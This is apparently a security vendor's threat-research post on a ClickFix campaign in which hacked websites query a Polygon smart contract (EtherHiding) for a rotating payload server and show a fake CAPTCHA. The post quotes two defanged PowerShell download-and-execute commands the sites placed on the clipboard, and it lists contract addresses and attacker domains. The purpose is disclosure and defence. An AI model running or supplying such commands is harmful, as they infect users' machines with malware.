One smart contract, a new payload server every few days.

How a contract runs a campaign

The attackers break into ordinary websites and add a small script. That script does not carry the lure. Every time the page loads, it asks a smart contract (a small program stored on a public blockchain) for the current address of the lure, through a free public blockchain service. This technique is called EtherHiding.

• The attackers change one value in the contract, and every hacked site switches to the new server at its next page load. Nobody has to touch the hacked sites again.
• Nobody can take the contract down. A blockchain keeps it for good, and reading it costs nothing and leaves no trace on the attacker's side.
• The visitor sees a fake "Verify you are human" box that asks them to press Windows + R and paste a command. The command downloads and runs the malware from the server of the day. What is ClickFix?

What our research browsers saw this week

The contract 0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2 on Polygon (read with the function selector 0xb68d1809) was read on 6 hacked websites, 7 times, on three days:

On 5 November at 13:21, one of the hacked sites put this on the clipboard of our research browser:

irm 'codes.browse-cdn[.]beer/5b4a1d12a6e59b50'|iex;

That is PowerShell for "download this text and run it as a program". The domain in it had existed for 13 hours. On 11 November, the same contract sent visitors to the new domain, with a different random path on every visit:

irm 'browse-nnccodes[.]beer/7b49cf8529cf3702'|iex;

Our browsers did not open these pages every day, so the switch may have happened before 11 November. What the dates show is the pattern: a fresh domain, used within hours or days of its registration, then replaced.

One contract, one operation

Websites that read the same contract belong to the same operation, even when nothing else connects them. The 6 sites this week have nothing else in common: different businesses, different domain endings, different software. Over a longer period the picture grows: since 12 October our research browsers have seen this contract on 19 websites.

Two of the six sites read a second Polygon contract too, 0xf70730a4e5b89b6c6e02edaed582badf6465e9d9, which fed five sites this week, those two included. Hacked sites often carry the scripts of more than one operation. The ClickFix report for 5–11 November lists all 11 contracts we saw, on Polygon, BSC Testnet and Base.

Two other Polygon contracts, 0x83833c5d676ca06e941a32310ae67d0890f657ee and 0xbab25ced421128c427ad19914473566633894dd5, were read this week with the same function selector, 0xb68d1809. That points to the same attack kit; whether the same people run it, the data does not say. The first of them pointed to makeverizyjar[.]info, the front-end loader we described in our SC research.

The ByteMantle console draws this for your own browsers: the investigation graph links a contract to every site that read it and to the servers it pointed to, so a security team sees one campaign instead of six unrelated alerts.

Why a block list falls behind

Protection that depends on block lists has to wait until someone reports an address, and then until the list reaches your computers. This campaign is built to stay ahead of that:

• The download server is new. codes.browse-cdn[.]beer was 13 hours old when it served its first command we saw. Nobody had a reason to list it yet.
• It changes every few days. By the time the first server is listed, the contract points somewhere else.
• The hacked sites look harmless. They are real businesses, schools and shops. A list has no reason to suspect them until someone reports them, and the owner usually does not know.
• The contract cannot be taken down, and the public blockchain services the script uses serve millions of legitimate requests.

Block lists still matter, and ByteMantle uses them too: signed threat lists and the age of every domain. But they work after someone has seen the attack.

What ByteMantle recognises on the page

The ByteMantle extension does not need to know the server of the day. On these pages it recognised:

• the contract read: a web page asking a blockchain where to load its next step from;
• the fake CAPTCHA drawn over the real page;
• the command the page put on the clipboard: a shell, a download and an execution, whatever the domain in it. ByteMantle replaces it with a harmless message before it can be pasted.

Each of these works from the first visit to the first hacked site, with a domain that is a few hours old.

What to do

• Security teams: watch for web pages that read smart contracts, and for clipboard commands that download and run code, rather than chasing each new domain. The contract address above stays valid for as long as the campaign uses it.
• Website owners: a contract read on your own pages means your site was hacked. Our SC research shows how to find the added script and clean it.
• Everyone: no real website ever asks you to press Windows + R or paste something to prove you are human.

Indicators

The sites that served the lure are in the downloadable lists of the ClickFix report, each with the date we saw it.

How we collect this

We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware. The dates of the contract reads and the commands come from what the extension recorded; the registration dates come from the console's domain-age check. What customers' browsers see is never part of our research.

Read more

• The ClickFix beacon: how a fake CAPTCHA reports you before the download
• Beyond irm | iex: six ways a fake CAPTCHA delivers malware
• ClickFix report, 5–11 November 2026
• EtherHiding: malware hidden in blockchain smart contracts